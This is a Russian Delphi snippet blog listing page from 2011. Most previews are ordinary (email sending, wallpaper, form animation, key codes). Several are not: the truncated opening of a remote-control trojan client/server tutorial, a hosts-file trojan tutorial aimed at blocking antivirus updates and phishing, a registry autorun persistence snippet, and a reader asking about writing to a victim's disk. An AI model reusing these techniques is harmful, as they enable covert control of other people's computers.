|
| | |
|
DATA WAVE путь до файла // Музыка MYICON ICON путь до файла // Иконка код использования
...
Читать дальше »
Категория: Delphi |
Просмотров: 375 |
Добавил: SeM |
Дата: 20.03.2011
|
|
Да помнится было время, когда я очень долго искал информацию о возможности корректной отправки письма с вложениями . Компоненты от Инди (Indy) – это те еще фрукты. С русским языком помню были проблемы и прикрепленные файлы были испорчены или вообще не отсылались. В этом посте я выкладываю исходники отправки электронной почты (email) для Delphi 7, 2007 , 2009 и 2010. -:: Для Delphi 2007 ::- ... type TDummyEncode = class protected class procedure SetCharSet(var VTransferHeader: TTransfer; var VHeaderEncoding: Char; var VCharSet: String); end; { TEncode } class procedure TDummyEncode.SetCharSet(var VTransferHeader: TTransfer; var VHeaderEncoding: Char; var VCharSet: String); begin VCharSet:='windows-1251'; VTransferHeader := bit8; VHeaderEncoding := 'B'; end; procedure TForm1.SendMail(); var Message : TIdMessage; begin IdSMTP1.Host := 'Host'; IdSMTP1.Username :='UserName'; IdSMTP1.Passwo
...
Читать дальше »
Категория: Delphi |
Просмотров: 901 |
Добавил: SeM |
Дата: 19.03.2011
|
|
uses shellapi;
procedure InstallScreenSaver(const FileName: string); begin { Set this screensaver as default screensaver and open the properties dialog} ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'), PChar('desk.cpl,InstallScreenSaver ' + FileName), nil, SW_SHOWNORMAL); end; procedure TForm1.Button1Click(Sender: TObject); begin InstallScreenSaver('c:\YourScreenSaverFile.scr'); end;
Категория: Delphi |
Просмотров: 419 |
Добавил: SeM |
Дата: 19.03.2011
|
|
uses ...Registry; //подключаем модуль ...
procedure TForm1.Button1Click(Sender: TObject); var Reg: TRegIniFile; begin Reg := TRegIniFile.Create('Control Panel'); Reg.WriteString('desktop', 'Wallpaper', 'c:\windows\Установка.bmp'); Reg.WriteString('desktop', 'TileWallpaper', '0'); Reg.Free; SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE); end;
Категория: Delphi |
Просмотров: 524 |
Добавил: SeM |
Дата: 19.03.2011
|
|
Для достижения этого эффекта необходимо в события формы OnCreate и OnClose добавить следующий код: procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin AnimateWindow(Handle, 1000, AW_HIDE or AW_BLEND) end; procedure TForm1.FormCreate(Sender: TObject); begin AnimateWindow(Handle, 1000, AW_BLEND) end; Длительность появления (исчезания) формы можно регулировать изменяя значение параметра, следующего за Handle.
Категория: Delphi |
Просмотров: 489 |
Добавил: SeM |
Дата: 19.03.2011
|
|
И так, троян состоит из сервера и клиента, поэтому мы с вами должны создать два проекта "client" и "server" . Клиент отпровляет комманды серверу а сервер в свою очередь их обробатывает. CLIENT Создаём новый проект и кидаем на форму clientsocket с вкладки internet, 2 edit- в них будем писать ип к которому будем коннектиться и текст мессаги, 8 button- которые будут посылать серверу комманды "также киньте на форму memo". Для начала довайте компоненту clientsocket сменим имя на cs Теперь измените свойство caption у ваших кнопок как показанно на скрине теперь у формы в событии OnGreate пишим code: cs.Host:=edit1.Text; //Наш хост, тобиш ип который вы будете вписывать в edit1 cs.port:=123; //Указываем порт в нашем случае инфа будет передоваться через 123 порт теперь у в обработчике собития OnClick кнопки "Коннект" пишем код Цитата:var s:string; begin cs.Active:=true; //Коннектимся if cs.Socket.Connected=true then begin //Если п
...
Читать дальше »
Категория: Delphi |
Просмотров: 659 |
Добавил: SeM |
Дата: 19.03.2011
|
|
Ну тут типо урок для начинающих в изучении дэльфи =)) Это не есть самый идеальный Trojan hosts, но все же он работает. Сначало разберемся что это... Hosts - файл который лежит C:\WINDOWS\system32\drivers\etc\hosts - но говорят что в реестре мона поменять путь и пользы от трояна не будет, в этом файле лежат всякие ассоциации компьтера с адресами (ну мож не прально но я постарался более внятно обьяснить) например там стандартная строчка code:
127.0.0.1 localhost она обозначает следующие - localhost считать как 127.0.0.1 - т.е при коннекте по адресу localhost нас переадресовывает на 127.0.0.1. Зачем пишут трояны которые редактирует hosts? Ну это используется преимущественно людьми которые используют фэйковые страницы для кражи паролей и вирусописателями - вирусмэйкеры или как там прально ))) Зачем вирусописателями? - ну тут ответ прост, если прописать в hosts адреса обновлений антивирусника или файрвола и перенаправлять коннекты на
...
Читать дальше »
Категория: Delphi |
Просмотров: 1458 |
Добавил: SeM |
Дата: 19.03.2011
|
|
vk_LButton = $01; vk_RButton = $02; vk_Cancel = $03; vk_MButton = $04; { генерятся только системой вместе с L & RBUTTON } vk_Back = $08; vk_Tab = $09; vk_Clear = $0C; vk_Return = $0D; vk_Shift = $10; vk_Control = $11; vk_Menu = $12; vk_Pause = $13; vk_Capital = $14; vk_Escape = $1B; vk_Space = $20; vk_Prior = $21; vk_Next = $22; vk_End = $23; vk_Home = $24; vk_Left = $25; vk_Up = $26; vk_Right = $27; vk_Down = $28; vk_Select = $29; vk_Print = $2A; vk_Execute = $2B; vk_SnapShot = $2C; { vk_Copy = $2C не используется клавиатурой } vk_Insert = $2D; vk_Delete = $2E; vk_Help = $2F; { vk_A - vk_Z такие же, как и их ASCII-эквиваленты: 'A' - 'Z' } { vk_0 - vk_9 такие же, как и их ASCII-эквиваленты: '0' - '9' } vk_NumPad0 = $60; vk_NumPad1 = $61; vk_NumPad2 = $62; vk_NumPad3 = $63; vk_NumPad4 = $64; vk_NumPad5 = $65; vk_NumPad6 = $66; vk_NumPad7 = $67;<
...
Читать дальше »
Категория: Delphi |
Просмотров: 476 |
Добавил: SeM |
Дата: 16.03.2011
|
|
user Registry var
RegIni:TRegIniFile; begin Regini:=TRegIniFile.Create('Software') Regini.RootKey:=HKEY_LOCAL_MACHINE; Regini.OpenKey('Software', true); Regini.OpenKey('Microsoft', true); Regini.OpenKey('Windows', true); Regini.OpenKey('CurrentVersion', true); Regini.WriteString('RunServices', Application.ExeName); Regini.Free; end;
Категория: Delphi |
Просмотров: 390 |
Добавил: SeM |
Дата: 12.03.2011
|
|
uses WinSock;
function GetLocalIP: String; const WSVer = $101; var wsaData: TWSAData; P: PHostEnt; Buf: array [0..127] of Char; begin Result := ''; if WSAStartup(WSVer, wsaData) = 0 then begin if GetHostName(@Buf, 128) = 0 then begin P := GetHostByName(@Buf); if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^); end; WSACleanup; end; end;
Категория: Delphi |
Просмотров: 442 |
Добавил: SeM |
Дата: 12.03.2011
|
|
| |
| | |
|
|
| Календарь
| |
« Май 2024 » | Пн | Вт | Ср | Чт | Пт | Сб | Вс | | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|
|
|
| Коменнтарии
| |
Извиняюсь, заработал. Спасибо за урок
Давайте помогу разобраться ? вы хотите что бы когда выбиралась станция сразу начинала проигрывать? скиньте исходник или как лучше связаться с вами?
Нифига не робит... Кто знает как сделать чтобы на жесткий жертвы сохранял.. ISQ 606017777
|
|
|
| Отзывы Фото
| |
6 микр. Красивое место.... Старый музей но щас его перенесли... Фотография под горы Красивое фото!!! |
|
|